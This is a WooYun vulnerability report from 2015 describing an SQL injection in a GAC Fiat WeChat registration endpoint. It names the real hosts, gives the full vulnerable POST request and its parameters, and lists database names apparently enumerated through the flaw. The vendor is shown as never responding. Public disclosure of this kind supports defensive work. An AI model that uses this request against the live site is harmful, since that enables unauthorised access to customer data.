当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0135074

漏洞标题：菲亚特汽车官网某接口sql注入漏洞

相关厂商：菲亚特汽车

漏洞作者： 路人甲

提交时间：2015-08-18 17:39

修复时间：2015-10-02 17:40

公开时间：2015-10-02 17:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-02： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

菲亚特汽车官网某接口sql注入漏洞

详细说明：

https://myvip.gacfiatauto.com:8088/
关注微信 会员注册那里存在注入

POST /weixinTest/Handler/UserCenterHandler.ashx HTTP/1.1
Host: leads.gacfiatauto.com
Accept: */*
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://leads.gacfiatauto.com
Content-Length: 55
Connection: keep-alive
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12F70 MicroMessenger/6.2.4 NetType/3G+ Language/zh_CN
Referer: http://leads.gacfiatauto.com/weixinTest/content/UserCenter.html?code=031675fbe35fbd203833ef79f13b450c&state=1
method=SendPhoneCode&userid=2108111&phone=18888888888


available databases [17]:
[*] devvssrdb
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
[*] testvssrdb
[*] vssrdb
[*] wechatdb
[*] wechattestdb
[*] weixintestdb
[*] wx-1
[*] wx-2
[*] wx-3
[*] wx-6
[*] wx-7
[*] wx-9

漏洞证明：

%LQNGS}9`SEJXHB)55{)SXY.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：4 (WooYun评价)